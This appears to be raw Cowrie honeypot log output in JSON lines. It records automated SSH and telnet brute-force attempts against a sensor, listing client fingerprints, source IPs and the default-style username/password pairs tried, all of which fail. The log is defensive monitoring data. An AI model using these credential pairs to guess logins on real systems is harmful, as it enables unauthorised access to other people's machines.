{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.575705Z","src_ip":"80.66.85.226","session":"9b59f69c1aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgeniy","message":"login attempt [root/evgeniy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.845892Z","src_ip":"80.66.85.226","session":"9b59f69c1aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:13.345921Z","src_ip":"45.156.87.204","session":"92044ce12d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:13.662738Z","src_ip":"47.237.167.49","session":"df6fdf3b4dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:13.941967Z","src_ip":"80.66.85.226","session":"9b59f69c1aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59780,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e4e54d11b9","protocol":"ssh","message":"New connection: 45.156.87.204:59780 (159.203.135.109:22) [session: 96e4e54d11b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:15.428919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:15.434105Z","src_ip":"45.156.87.204","session":"96e4e54d11b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:15.516657Z","src_ip":"45.156.87.204","session":"96e4e54d11b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:15.764235Z","src_ip":"45.156.87.204","session":"96e4e54d11b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:16.967697Z","src_ip":"45.156.87.204","session":"96e4e54d11b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59794,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdcf2a7cfb66","protocol":"ssh","message":"New connection: 45.156.87.204:59794 (159.203.135.109:22) [session: cdcf2a7cfb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:18.915338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:18.919707Z","src_ip":"45.156.87.204","session":"cdcf2a7cfb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:19.094860Z","src_ip":"45.156.87.204","session":"cdcf2a7cfb66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:19.516100Z","src_ip":"45.156.87.204","session":"cdcf2a7cfb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52232,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27c61a891b9","protocol":"telnet","message":"New connection: 152.42.224.71:52232 (10.17.0.5:23) [session: c27c61a891b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:19.628004Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:20.601953Z","src_ip":"45.156.87.204","session":"cdcf2a7cfb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"88856275f54e","protocol":"ssh","message":"New connection: 45.156.87.204:43924 (159.203.135.109:22) [session: 88856275f54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:22.679900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:22.684674Z","src_ip":"45.156.87.204","session":"88856275f54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:22.767331Z","src_ip":"45.156.87.204","session":"88856275f54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":35476,"dst_ip":"159.203.135.109","dst_port":22,"session":"02084db2bc54","protocol":"ssh","message":"New connection: 124.155.125.131:35476 (159.203.135.109:22) [session: 02084db2bc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:22.940851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:22.945283Z","src_ip":"124.155.125.131","session":"02084db2bc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:23.014142Z","src_ip":"45.156.87.204","session":"88856275f54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:23.119148Z","src_ip":"124.155.125.131","session":"02084db2bc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:23.849236Z","src_ip":"124.155.125.131","session":"02084db2bc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:24.098758Z","src_ip":"45.156.87.204","session":"88856275f54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:25.027039Z","src_ip":"124.155.125.131","session":"02084db2bc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43930,"dst_ip":"159.203.135.109","dst_port":22,"session":"8322b2d52787","protocol":"ssh","message":"New connection: 45.156.87.204:43930 (159.203.135.109:22) [session: 8322b2d52787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:26.156735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:26.161167Z","src_ip":"45.156.87.204","session":"8322b2d52787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:26.245321Z","src_ip":"45.156.87.204","session":"8322b2d52787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50994,"dst_ip":"10.17.0.5","dst_port":23,"session":"156405a98e1b","protocol":"telnet","message":"New connection: 152.42.224.71:50994 (10.17.0.5:23) [session: 156405a98e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:26.289964Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:26.619732Z","src_ip":"45.156.87.204","session":"8322b2d52787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:27.762368Z","src_ip":"45.156.87.204","session":"8322b2d52787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43946,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4ca0ff1926","protocol":"ssh","message":"New connection: 45.156.87.204:43946 (159.203.135.109:22) [session: ea4ca0ff1926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:29.625667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:29.630200Z","src_ip":"45.156.87.204","session":"ea4ca0ff1926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:29.731638Z","src_ip":"45.156.87.204","session":"ea4ca0ff1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:30.202791Z","src_ip":"45.156.87.204","session":"ea4ca0ff1926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:31.288338Z","src_ip":"45.156.87.204","session":"ea4ca0ff1926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57946,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1974a75939","protocol":"ssh","message":"New connection: 45.156.87.204:57946 (159.203.135.109:22) [session: 4f1974a75939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:33.390752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:33.394807Z","src_ip":"45.156.87.204","session":"4f1974a75939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:33.476404Z","src_ip":"45.156.87.204","session":"4f1974a75939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:33.730577Z","src_ip":"45.156.87.204","session":"4f1974a75939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:34.815111Z","src_ip":"45.156.87.204","session":"4f1974a75939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57958,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9f8e6825490","protocol":"ssh","message":"New connection: 45.156.87.204:57958 (159.203.135.109:22) [session: d9f8e6825490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:36.930884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:36.934286Z","src_ip":"45.156.87.204","session":"d9f8e6825490","protocol":"ssh"}
